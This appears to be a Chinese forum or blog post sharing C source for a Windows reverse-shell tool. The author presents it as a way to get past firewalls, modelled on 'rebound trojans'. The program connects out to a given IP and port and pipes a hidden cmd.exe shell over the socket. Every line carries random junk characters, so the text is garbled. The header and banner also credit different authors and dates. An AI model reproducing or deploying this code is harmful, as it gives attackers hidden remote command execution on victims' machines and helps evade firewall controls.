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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u_ Q3v9  
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/* ============================== 3~ZtAgih%  
Rebound port in Windows NT :X$&g sT/,  
By wind,2006/7 4XKg3l1  
===============================*/ <~Y4JMr"  
#include YobIbpo  
#include 5jsnE )  
Gu%`__   
#pragma comment(lib,"wsock32.lib") =ecv;uu2  
Nf;vUYP  
void OutputShell(); 0dgR;Dl(  
SOCKET sClient; i "-#1vy=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =a {Z7W  
}`h}h<B(  
void main(int argc,char **argv) gB0)ec 0  
{ :#gz)r  
WSADATA stWsaData; OOv"h\,  
int nRet; \]r{73C  
SOCKADDR_IN stSaiClient,stSaiServer; -J[D:P.Z  
a.Mp1W  
if(argc != 3) G;^iwxzhO  
{ Cu`ZgK LQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); c~tkY!c  
return; 2'x_zMV  
} P, Vq/Tt  
j$L<9(DoR  
WSAStartup(MAKEWORD(2,2),&stWsaData); xw=B4u'z  
A2+t`[ w  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d?S<h`{x   
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stSaiClient.sin_family = AF_INET; Np=*B_ @8  
stSaiClient.sin_port = htons(0); U5"F1CaW~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @lmke>  
!W3Le$aL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -bj1y2)n  
{ D'2O#Rj4q  
printf("Bind Socket Failed!\n"); Vl'=92t  
return; tRXM8't   
} [t6)M~&e:_  
wo_FM `@  
stSaiServer.sin_family = AF_INET; a;h:o>Do5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sF|$oyDE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  Cn_Mz#Z  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D{8V^%{  
{ '@:;oe@]  
printf("Connect Error!"); L?Lp``%bI7  
return; M P3E]T~:  
} j&&^PH9ZY  
OutputShell(); ct]5\g?U'  
} Y]n^(V  
+(P;4ZOmB  
void OutputShell() G_o/ lIz"  
{ p,4z;.s$  
char szBuff[1024]; @.g4?c  
SECURITY_ATTRIBUTES stSecurityAttributes; 2dq{n.cgs  
OSVERSIONINFO stOsversionInfo; d+IPa<N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (Q'XjN\#  
STARTUPINFO stStartupInfo; ;wN.RPE_^  
char *szShell; R]r~TJ o  
PROCESS_INFORMATION stProcessInformation;  c\x?k<=  
unsigned long lBytesRead; YJ"gm]Pm  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HK-?<$Yc  
o?X\,}-s  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @ J"1 !`  
stSecurityAttributes.lpSecurityDescriptor = 0; .:;i*  
stSecurityAttributes.bInheritHandle = TRUE; ktS0  
x/Ds`\  
Q7SS<'(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2 Sr'B;`p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S\ li<xl  
Dho~6K }"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &/ zs Ix+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L3W ^ip4  
stStartupInfo.wShowWindow = SW_HIDE; AI)9E=D%  
stStartupInfo.hStdInput = hReadPipe; dE^'URBiA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; epwXv|aSZ  
b"zq3$6*  
GetVersionEx(&stOsversionInfo); 9S<W~# zz  
u.arkp  
switch(stOsversionInfo.dwPlatformId)  <Nw?9P  
{ W35nnBU  
case 1: gr7W&2x7\  
szShell = "command.com"; Y#Z&$&n  
break; d5i /:  
default: i'57|;?  
szShell = "cmd.exe"; F^w0TD8  
break; j`#|z9`(pB  
} H ,?MG  
NH?s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :Ert57@l  
~f@;.  
send(sClient,szMsg,77,0); ']dTW#i  
while(1) )Q\;N C=4  
{ rLVAI#ci=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0p#36czqy  
if(lBytesRead) Lr+2L_/v`  
{ 7f(UbO@BD  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QvqBT  
send(sClient,szBuff,lBytesRead,0); ~+d]yeDrhx  
} N@)g3mX>  
else dk.da&P  
{ Npu;f>g0_  
lBytesRead=recv(sClient,szBuff,1024,0); &zm5s*yNt  
if(lBytesRead<=0) break; ? &1?uc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [OT@gp:  
} >!oN+8[~  
} > W0hrt?b  
;j(xrPNb  
return; cis ~]x%  
}
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